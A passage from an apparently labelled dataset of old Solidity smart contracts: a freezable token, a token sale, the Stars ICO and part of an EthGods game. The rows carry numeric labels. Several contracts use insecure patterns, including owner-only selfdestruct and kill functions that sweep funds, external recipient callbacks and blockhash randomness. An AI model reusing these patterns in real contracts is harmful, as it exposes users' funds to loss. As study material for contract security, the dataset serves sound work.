freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Box Of Data";
string constant TOKEN_SYMBOL = "BOD";
bool constant PAUSED = false;
address constant TARGET_USER = 0xC4a79A1FfD198cdD8828A1dfa6e65C614eDc8cc8;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract BOXOFDATA is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xC4a79A1FfD198cdD8828A1dfa6e65C614eDc8cc8)];
uint[1] memory amounts = [uint(650000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 31 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract Tokensale
{
using SafeMath for uint256;
address public owner;
address public thisAddress;
string public lastaction;
uint256 public constant RATE = 1000;
uint256 public raisedAmount = 0;
uint256 public available_tokens = 0;
uint256 public lasttokencount;
bool public last_transfer_state;
function Tokensale () public
{
owner = msg.sender;
thisAddress = address(this);
}
function () payable public
{
address tokenAddress = 0x80248B05a810F685B12C78e51984f808293e57D3;
ERC20Interface loveContract = ERC20Interface(tokenAddress);
if ( msg.value >= 1250000000000000 )
{
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
available_tokens = loveContract.balanceOf(thisAddress);
if (available_tokens >= tokens)
{
lasttokencount = tokens;
raisedAmount = raisedAmount.add(msg.value);
last_transfer_state = loveContract.transfer(msg.sender, tokens);
}
else
{
revert();
}
}
else
{
revert();
}
}
function owner_withdraw () public
{
if (msg.sender != owner) return;
owner.transfer( this.balance );
lastaction = "Withdraw";
}
function kill () public
{
if (msg.sender != owner) return;
address tokenAddress = 0x80248B05a810F685B12C78e51984f808293e57D3;
ERC20Interface loveContract = ERC20Interface(tokenAddress);
uint256 balance = loveContract.balanceOf(this);
assert(balance > 0);
loveContract.transfer(owner, balance);
owner.transfer( this.balance );
selfdestruct(owner);
}
} | 1 | 2,591 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; }
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Stars is StandardToken {
string public name = "Stars";
string public symbol = "STR";
uint public decimals = 8;
uint public INITIAL_SUPPLY = 60000000 * 10**8;
function Stars() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract StarsICO is Pausable {
using SafeMath for uint256;
uint256 public constant MAX_GAS_PRICE = 50000000000 wei;
uint256 public startTime;
uint256 public endTime;
address public wallet_address;
address public token_address;
uint256 public rate;
uint256 public capTokens;
uint256 public weiRaised;
uint256 public tokensSold;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier validGasPrice() {
require(tx.gasprice <= MAX_GAS_PRICE);
_;
}
function StarsICO(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet_address, address _token_address, uint256 _cap) {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet_address != 0x0);
require(_token_address != 0x0);
require(_cap > 0);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet_address = _wallet_address;
token_address = _token_address;
capTokens = _cap;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused validGasPrice private {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = convertWeiToTokens(weiAmount);
wallet_address.transfer(msg.value);
Stars tok = Stars(token_address);
if (tok.transferFrom(wallet_address, beneficiary, tokens)) {
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
TokenPurchase(beneficiary, beneficiary, weiAmount, tokens);
}
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = tokensSold.add(convertWeiToTokens(msg.value)) <= capTokens;
return withinPeriod && nonZeroPurchase && withinCap;
}
function convertWeiToTokens(uint256 weiAmount) constant returns (uint256) {
uint256 tokens = weiAmount.div(10 ** 10);
tokens = tokens.mul(rate);
return tokens;
}
} | 1 | 2,117 |
pragma solidity ^0.4.24;
contract EthGods {
EthGodsName private eth_gods_name;
function set_eth_gods_name_contract_address(address eth_gods_name_contract_address) public returns (bool) {
require(msg.sender == admin);
eth_gods_name = EthGodsName(eth_gods_name_contract_address);
return true;
}
EthGodsDice private eth_gods_dice;
function set_eth_gods_dice_contract_address(address eth_gods_dice_contract_address) public returns (bool) {
require(msg.sender == admin);
eth_gods_dice = EthGodsDice(eth_gods_dice_contract_address);
return true;
}
bool private contract_created;
address private contract_address;
string private contact_email = "[email protected]";
string private official_url = "swarm-gateways.net/bzz:/ethgods.eth";
address private admin;
address private controller1 = 0xcA5A9Db0EF9a0Bf5C38Fc86fdE6CB897d9d86adD;
address private controller2 = 0x8396D94046a099113E5fe5CBad7eC95e96c2B796;
address private v_god = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
uint private block_hash_duration = 255;
struct god {
uint god_id;
uint level;
uint exp;
uint pet_type;
uint pet_level;
uint listed;
uint invite_price;
uint free_rounds;
uint paid_rounds;
bool hosted_pray;
uint bid_eth;
uint credit;
uint count_amulets_generated;
uint first_amulet_generated;
uint count_amulets_at_hand;
uint count_amulets_selling;
uint amulets_start_id;
uint amulets_end_id;
uint count_token_orders;
uint first_active_token_order;
uint last_ticket_number;
uint count_tickets;
uint inviter_id;
uint count_gods_invited;
}
uint private count_gods = 0;
mapping(address => god) private gods;
mapping(uint => address) private gods_address;
uint [] private listed_gods;
uint private max_listed_gods = 10000;
uint private initial_invite_price = 0.02 ether;
uint private invite_price_increase = 0.02 ether;
uint private max_invite_price = 1000 ether;
uint private max_extra_eth = 0.001 ether;
uint private list_level = 10;
uint private max_gas_price = 100000000000;
struct amulet {
uint god_id;
address owner;
uint level;
uint bound_start_block;
uint start_selling_block;
uint price;
}
uint private count_amulets = 0;
mapping(uint => amulet) private amulets;
uint private bound_duration = 9000;
uint private order_duration = 20000;
address private pray_host_god;
bool private pray_reward_top100;
uint private pray_start_block;
bool private rewarded_pray_winners = false;
uint private count_hosted_gods;
mapping (uint => address) private bidding_gods;
uint private initializer_reward = 60;
uint private double_egst_fee = 0.006 ether;
mapping(uint => uint) private max_winners;
uint private round_duration = 6666;
struct ticket {
address owner;
uint block_number;
bytes32 block_hash;
uint new_ticket_number;
uint dice_result;
}
uint private count_tickets;
mapping (uint => ticket) private tickets;
uint private used_tickets;
uint private max_show_tickets = 20;
mapping(uint => uint) private pk_positions;
mapping(uint => uint) private count_listed_winners;
mapping (uint => mapping(uint => address)) private listed_winners;
bool private reEntrancyMutex = false;
uint private pray_egses = 0;
uint private pray_egst = 0;
uint private reward_pool_egses = 0;
uint private reward_pool_egst = 0;
mapping(address => uint) egses_balances;
string public name = "EthGodsToken";
string public symbol = "EGST";
uint8 public constant decimals = 18;
uint private _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
struct token_order {
uint id;
uint start_selling_block;
address seller;
uint unit_price;
uint egst_amount;
}
uint private count_token_orders = 0;
mapping (uint => token_order) token_orders;
uint private first_active_token_order = 0;
uint private min_unit_price = 20;
uint private max_unit_price = 200;
uint private max_egst_amount = 1000000 ether;
uint private min_egst_amount = 0.00001 ether;
uint private count_rounds = 0;
struct winner_log {
address previous_winner;
uint prize;
bool pk_result;
uint ticket_number;
}
mapping (uint => uint) private count_rounds_winner_logs;
mapping(uint => mapping(uint => winner_log)) private winner_logs;
struct change_log {
uint block_number;
uint asset_type;
uint reason;
uint change_amount;
uint after_amount;
address _from;
address _to;
}
mapping (uint => uint) private count_rounds_change_logs;
mapping(uint => mapping(uint => change_log)) private change_logs;
constructor () public {
require (contract_created == false);
contract_created = true;
contract_address = address(this);
admin = msg.sender;
create_god(admin, 0);
create_god(v_god, 0);
gods[v_god].level = 10;
enlist_god(v_god);
max_winners[1] = 1;
max_winners[2] = 2;
max_winners[3] = 6;
_totalSupply = 6000000 ether;
pray_egst = 2000 ether;
balances[admin] = sub(_totalSupply, pray_egst);
initialize_pray();
}
function finalize() public {
require(msg.sender == admin && count_rounds <= 3);
selfdestruct(admin);
}
function () public payable {
revert ();
}
function get_controller () public view returns (address, address){
require (msg.sender == admin || msg.sender == controller1 || msg.sender == controller2);
return (controller1, controller2);
}
function set_controller (uint controller_index, address new_controller_address) public returns (bool){
if (controller_index == 1){
require(msg.sender == controller2);
controller1 = new_controller_address;
} else {
require(msg.sender == controller1);
controller2 = new_controller_address;
}
return true;
}
function set_admin (address new_admin_address) public returns (bool) {
require (msg.sender == controller1 || msg.sender == controller2);
delete gods[admin];
delete gods_address[0];
admin = new_admin_address;
gods_address[0] = admin;
gods[admin].god_id = 0;
return true;
}
function set_parameters (uint parameter_type, uint new_parameter) public returns (bool){
require (msg.sender == admin);
if (parameter_type == 1) {
} else if (parameter_type == 2) {
round_duration = new_parameter;
} else if (parameter_type == 3) {
block_hash_duration = new_parameter;
} else if (parameter_type == 4) {
double_egst_fee = new_parameter;
} else if (parameter_type == 5) {
order_duration = new_parameter;
} else if (parameter_type == 6) {
bound_duration = new_parameter;
} else if (parameter_type == 7) {
initializer_reward = new_parameter;
} else if (parameter_type == 8) {
max_extra_eth = new_parameter;
} else if (parameter_type == 9) {
min_unit_price = new_parameter;
} else if (parameter_type == 10) {
max_unit_price = new_parameter;
} else if (parameter_type == 11) {
max_listed_gods = new_parameter;
} else if (parameter_type == 12) {
max_gas_price = new_parameter;
} else if (parameter_type == 13) {
max_invite_price = new_parameter;
} else if (parameter_type == 14) {
min_egst_amount = new_parameter;
} else if (parameter_type == 15) {
max_egst_amount = new_parameter;
} else if (parameter_type == 16) {
max_show_tickets = new_parameter;
}
return true;
}
function set_strings (uint string_type, string new_string) public returns (bool){
require (msg.sender == admin);
if (string_type == 1){
official_url = new_string;
} else if (string_type == 2){
name = new_string;
} else if (string_type == 3){
symbol = new_string;
} else if (string_type == 4){
contact_email = new_string;
} else if (string_type == 5){
reEntrancyMutex = false;
}
return true;
}
function admin_reset_pray() public returns (bool){
require (msg.sender == admin);
if (pray_start_block > block.number){
pray_start_block = block.number;
} else if (check_event_completed() == true) {
if (rewarded_pray_winners == false){
reward_pray_winners();
} else {
initialize_pray();
}
}
}
function query_contract () public view returns(address, address, address, uint, uint, bool, bool){
(uint highest_bid, address highest_bidder) = compare_bid_eth();
return (admin,
pray_host_god,
highest_bidder,
highest_bid,
block_hash_duration,
pray_reward_top100,
rewarded_pray_winners
);
}
function query_contract2 () public view returns (string, string, address, bool){
return (official_url, contact_email, v_god, reEntrancyMutex);
}
function query_uints () public view returns (uint[32] uints){
uints[0] = max_invite_price;
uints[1] = list_level;
uints[2] = _totalSupply;
uints[3] = round_duration;
uints[4] = initializer_reward;
uints[5] = min_unit_price;
uints[6] = max_unit_price;
uints[7] = max_listed_gods;
uints[8] = max_gas_price;
uints[9] = min_egst_amount;
uints[10] = max_egst_amount;
uints[11] = max_extra_eth;
uints[12] = pray_start_block;
uints[13] = pray_egses;
uints[14] = pray_egst;
uints[15] = count_rounds;
uints[16] = count_gods;
uints[17] = listed_gods.length;
uints[18] = order_duration;
uints[19] = bound_duration;
uints[20] = initial_invite_price;
uints[21] = invite_price_increase;
uints[22] = max_invite_price;
uints[23] = count_amulets;
uints[24] = count_hosted_gods;
uints[25] = used_tickets;
uints[26] = double_egst_fee;
uints[27] = count_tickets;
uints[28] = reward_pool_egses;
uints[29] = reward_pool_egst;
uints[30] = block.number;
uints[31] = contract_address.balance;
return uints;
}
function create_god (address god_address, uint inviter_id) private returns(uint god_id){
if (gods[god_address].credit == 0) {
god_id = count_gods;
count_gods = add(count_gods, 1) ;
gods_address[god_id] = god_address;
gods[god_address].god_id = god_id;
gods[god_address].credit = 0.001 ether;
if (god_id > 0 && inviter_id > 0 && inviter_id < count_gods){
set_inviter(inviter_id);
}
return god_id;
}
}
function set_inviter (uint inviter_id) private returns (bool){
if (inviter_id > 0 && gods_address[inviter_id] != address(0)
&& gods[msg.sender].inviter_id == 0
&& gods[gods_address[inviter_id]].inviter_id != gods[msg.sender].god_id){
gods[msg.sender].inviter_id = inviter_id;
address inviter_address = gods_address[inviter_id];
gods[inviter_address].count_gods_invited = add(gods[inviter_address].count_gods_invited, 1);
return true;
}
}
function add_exp (address god_address, uint exp_up) private returns(uint new_level, uint new_exp) {
if (god_address == admin){
return (0,0);
}
if (gods[god_address].god_id == 0){
create_god(god_address, 0);
}
new_exp = add(gods[god_address].exp, exp_up);
uint current_god_level = gods[god_address].level;
uint level_up_exp;
new_level = current_god_level;
for (uint i=0;i<10;i++){
if (current_god_level < 99){
level_up_exp = mul(10, add(new_level, 1));
} else {
level_up_exp = 1000;
}
if (new_exp >= level_up_exp){
new_exp = sub(new_exp, level_up_exp);
new_level = add(new_level, 1);
} else {
break;
}
}
gods[god_address].exp = new_exp;
if(new_level > current_god_level) {
gods[god_address].level = new_level;
if (gods[god_address].listed > 0) {
if (listed_gods.length > 1) {
sort_gods(gods[god_address].god_id);
}
} else if (new_level >= list_level && listed_gods.length < max_listed_gods) {
enlist_god(god_address);
}
}
return (new_level, new_exp);
}
function enlist_god (address god_address) private returns (uint) {
require(gods[god_address].level >= list_level && god_address != admin);
if (gods[god_address].listed == 0) {
uint god_id = gods[god_address].god_id;
if (god_id == 0){
god_id = create_god(god_address, 0);
}
gods[god_address].listed = listed_gods.push(god_id);
gods[god_address].invite_price = initial_invite_price;
list_level = add(list_level, 1);
bidding_gods[listed_gods.length] = god_address;
}
return list_level;
}
function sort_gods_admin(uint god_id) public returns (bool){
require (msg.sender == admin);
sort_gods(god_id);
return true;
}
function sort_gods (uint god_id) private returns (uint){
require (god_id > 0);
uint list_length = listed_gods.length;
if (list_length > 1) {
address god_address = gods_address[god_id];
uint this_god_listed = gods[god_address].listed;
if (this_god_listed < list_length) {
uint higher_god_listed = add(this_god_listed, 1);
uint higher_god_id = listed_gods[sub(higher_god_listed, 1)];
address higher_god = gods_address[higher_god_id];
if(gods[god_address].level > gods[higher_god].level
|| (gods[god_address].level == gods[higher_god].level
&& gods[god_address].exp > gods[higher_god].exp)){
listed_gods[sub(this_god_listed, 1)] = higher_god_id;
listed_gods[sub(higher_god_listed, 1)] = god_id;
gods[higher_god].listed = this_god_listed;
gods[god_address].listed = higher_god_listed;
}
}
}
return gods[god_address].listed;
}
function invite (uint god_id) public payable returns (uint new_invite_price) {
address god_address = gods_address[god_id];
require(god_id > 0
&& god_id <= count_gods
&& gods[god_address].hosted_pray == true
&& tx.gasprice <= max_gas_price
);
uint invite_price = gods[god_address].invite_price;
require(msg.value >= invite_price);
if (add(invite_price, invite_price_increase) <= max_invite_price) {
gods[god_address].invite_price = add(invite_price, invite_price_increase);
}
uint exp_up = div(invite_price, (10 ** 15));
add_exp(god_address, exp_up);
add_exp(msg.sender, exp_up);
count_amulets = add(count_amulets, 1);
amulets[count_amulets].god_id = god_id;
amulets[count_amulets].owner = msg.sender;
gods[god_address].count_amulets_generated = add(gods[god_address].count_amulets_generated, 1);
if (gods[god_address].count_amulets_generated == 1){
gods[god_address].first_amulet_generated = count_amulets;
}
gods[msg.sender].count_amulets_at_hand = add(gods[msg.sender].count_amulets_at_hand, 1);
update_amulets_count(msg.sender, count_amulets, true);
pray_egses = add(pray_egses, div(mul(60, invite_price), 100));
egses_from_contract(god_address, div(mul(20, invite_price), 100), 2);
reward_inviter(msg.sender, invite_price);
emit invited_god (msg.sender, god_id);
return gods[god_address].invite_price;
}
event invited_god (address msg_sender, uint god_id);
function reward_inviter (address inviter_address, uint invite_price) private returns (bool){
uint previous_share = 0;
uint inviter_share = 0;
uint share_diff;
address rewarding_inviter = inviter_address;
for (uint i = 0; i < 9; i++){
if (rewarding_inviter != address(0) && rewarding_inviter != admin){
share_diff = 0;
gods[rewarding_inviter].credit = add(gods[rewarding_inviter].credit, invite_price);
inviter_share = get_vip_level(rewarding_inviter);
if (inviter_share > previous_share) {
share_diff = sub(inviter_share, previous_share);
if (share_diff > 18) {
share_diff = 18;
}
previous_share = inviter_share;
}
if (share_diff > 0) {
egses_from_contract(rewarding_inviter, div(mul(share_diff, invite_price), 100), 3);
}
rewarding_inviter = gods_address[gods[rewarding_inviter].inviter_id];
} else{
break;
}
}
share_diff = sub(20, inviter_share);
egses_from_contract(admin, div(mul(share_diff, invite_price), 100), 2);
return true;
}
function upgrade_pet () public returns(bool){
uint egst_cost = mul(add(gods[msg.sender].pet_level, 1), 10 ether);
egst_to_contract(msg.sender, egst_cost, 6);
gods[msg.sender].pet_level = add(gods[msg.sender].pet_level, 1);
add_exp(msg.sender, div(egst_cost, 1 ether));
pray_egst = add(pray_egst, egst_cost);
emit upgradeAmulet(msg.sender, 0, gods[msg.sender].pet_level);
return true;
}
event upgradeAmulet (address owner, uint amulet_id, uint new_level);
function set_pet_type (uint new_type) public returns (bool){
if (gods[msg.sender].pet_type != new_type) {
gods[msg.sender].pet_type = new_type;
return true;
}
}
function get_vip_level (address god_address) public view returns (uint vip_level){
uint inviter_credit = gods[god_address].credit;
if (inviter_credit > 500 ether){
vip_level = 18;
} else if (inviter_credit > 200 ether){
vip_level = 15;
} else if (inviter_credit > 100 ether){
vip_level = 12;
} else if (inviter_credit > 50 ether){
vip_level = 10;
} else if (inviter_credit > 20 ether){
vip_level = 8;
} else if (inviter_credit > 10 ether){
vip_level = 6;
} else if (inviter_credit > 5 ether){
vip_level = 5;
} else if (inviter_credit > 2 ether){
vip_level = 4;
} else if (inviter_credit > 1 ether){
vip_level = 3;
} else if (inviter_credit > 0.5 ether){
vip_level = 2;
} else {
vip_level = 1;
}
return vip_level;
}
function get_god_id (address god_address) public view returns (uint god_id){
return gods[god_address].god_id;
}
function get_god_address(uint god_id) public view returns (address){
return gods_address[god_id];
}
function get_god (uint god_id) public view returns(uint, string, uint, uint, uint, uint, bool) {
address god_address = gods_address[god_id];
string memory god_name;
god_name = eth_gods_name.get_god_name(god_address);
if (bytes(god_name).length == 0){
god_name = "Unknown";
}
return (gods[god_address].god_id,
god_name,
gods[god_address].level,
gods[god_address].exp,
gods[god_address].invite_price,
gods[god_address].listed,
gods[god_address].hosted_pray
);
}
function get_god_info (address god_address) public view returns (uint, uint, uint, uint, uint, uint, uint){
return (gods[god_address].last_ticket_number,
gods[god_address].free_rounds,
gods[god_address].paid_rounds,
gods[god_address].pet_type,
gods[god_address].pet_level,
gods[god_address].bid_eth,
gods[god_address].count_tickets
);
}
function get_my_info () public view returns(uint, uint, uint, uint, uint, uint, uint) {
return (gods[msg.sender].god_id,
egses_balances[msg.sender],
balances[msg.sender],
get_vip_level(msg.sender),
gods[msg.sender].credit,
gods[msg.sender].inviter_id,
gods[msg.sender].count_gods_invited
);
}
function get_my_invited () public view returns (uint[]){
uint count_elements = 0;
uint count_gods_invited = gods[msg.sender].count_gods_invited;
uint my_id = gods[msg.sender].god_id;
uint [] memory invited_players = new uint[](count_gods_invited);
if (count_gods_invited > 0) {
for (uint i = 1; i <= count_gods; i++){
if (gods[gods_address[i]].inviter_id == my_id) {
invited_players[count_elements] = i;
count_elements ++;
if (count_elements >= count_gods_invited){
break;
}
}
}
}
return invited_players;
}
function get_listed_gods (uint page_number) public view returns (uint[]){
uint count_listed_gods = listed_gods.length;
require(count_listed_gods <= mul(page_number, 20));
uint[] memory tempArray = new uint[] (20);
if (page_number < 1) {
page_number = 1;
}
for (uint i = 0; i < 20; i++){
if(count_listed_gods > add(i, mul(20, sub(page_number, 1)))) {
tempArray[i] = listed_gods[sub(sub(sub(count_listed_gods, i), 1), mul(20, sub(page_number, 1)))];
} else {
break;
}
}
return tempArray;
}
function upgrade_amulet (uint amulet_id) public returns(uint){
require(amulets[amulet_id].owner == msg.sender);
uint egst_cost = mul(add(amulets[amulet_id].level, 1), 10 ether);
egst_to_contract(msg.sender, egst_cost, 7);
pray_egst = add(pray_egst, egst_cost);
amulets[amulet_id].level = add(amulets[amulet_id].level, 1);
add_exp(msg.sender, div(egst_cost, 1 ether));
emit upgradeAmulet(msg.sender, amulet_id, amulets[amulet_id].level);
return amulets[amulet_id].level;
}
function create_amulet_order (uint amulet_id, uint price) public returns (uint) {
require(msg.sender == amulets[amulet_id].owner
&& amulet_id >= 1 && amulet_id <= count_amulets
&& amulets[amulet_id].start_selling_block == 0
&& add(amulets[amulet_id].bound_start_block, bound_duration) < block.number
&& price > 0);
amulets[amulet_id].start_selling_block = block.number;
amulets[amulet_id].price = price;
gods[msg.sender].count_amulets_at_hand = sub(gods[msg.sender].count_amulets_at_hand, 1);
gods[msg.sender].count_amulets_selling = add(gods[msg.sender].count_amulets_selling, 1);
return gods[msg.sender].count_amulets_selling;
}
function buy_amulet (uint amulet_id) public payable returns (bool) {
uint price = amulets[amulet_id].price;
require(msg.value >= price && msg.value < add(price, max_extra_eth)
&& amulets[amulet_id].start_selling_block > 0
&& amulets[amulet_id].owner != msg.sender
&& price > 0);
address seller = amulets[amulet_id].owner;
amulets[amulet_id].owner = msg.sender;
amulets[amulet_id].bound_start_block = block.number;
amulets[amulet_id].start_selling_block = 0;
gods[msg.sender].count_amulets_at_hand = add(gods[msg.sender].count_amulets_at_hand, 1);
update_amulets_count(msg.sender, amulet_id, true);
gods[seller].count_amulets_selling = sub(gods[seller].count_amulets_selling, 1);
update_amulets_count(seller, amulet_id, false);
egses_from_contract(seller, price, 6);
return true;
}
function withdraw_amulet_order (uint amulet_id) public returns (uint){
require(msg.sender == amulets[amulet_id].owner
&& amulet_id >= 1 && amulet_id <= count_amulets
&& amulets[amulet_id].start_selling_block > 0);
amulets[amulet_id].start_selling_block = 0;
gods[msg.sender].count_amulets_at_hand = add(gods[msg.sender].count_amulets_at_hand, 1);
gods[msg.sender].count_amulets_selling = sub(gods[msg.sender].count_amulets_selling, 1);
return gods[msg.sender].count_amulets_selling;
}
function update_amulets_count (address god_address, uint amulet_id, bool obtained) private returns (uint){
if (obtained == true){
if (amulet_id < gods[god_address].amulets_start_id) {
gods[god_address].amulets_start_id = amulet_id;
}
} else {
if (amulet_id == gods[god_address].amulets_start_id){
for (uint i = amulet_id; i <= count_amulets; i++){
if (amulets[i].owner == god_address && i > amulet_id){
gods[god_address].amulets_start_id = i;
break;
}
}
}
}
return gods[god_address].amulets_start_id;
}
function get_amulets_generated (uint god_id) public view returns (uint[]) {
address god_address = gods_address[god_id];
uint count_amulets_generated = gods[god_address].count_amulets_generated;
uint [] memory temp_list = new uint[](count_amulets_generated);
if (count_amulets_generated > 0) {
uint count_elements = 0;
for (uint i = gods[god_address].first_amulet_generated; i <= count_amulets; i++){
if (amulets[i].god_id == god_id){
temp_list [count_elements] = i;
count_elements++;
if (count_elements >= count_amulets_generated){
break;
}
}
}
}
return temp_list;
}
function get_amulets_at_hand (address god_address) public view returns (uint[]) {
uint count_amulets_at_hand = gods[god_address].count_amulets_at_hand;
uint [] memory temp_list = new uint[] (count_amulets_at_hand);
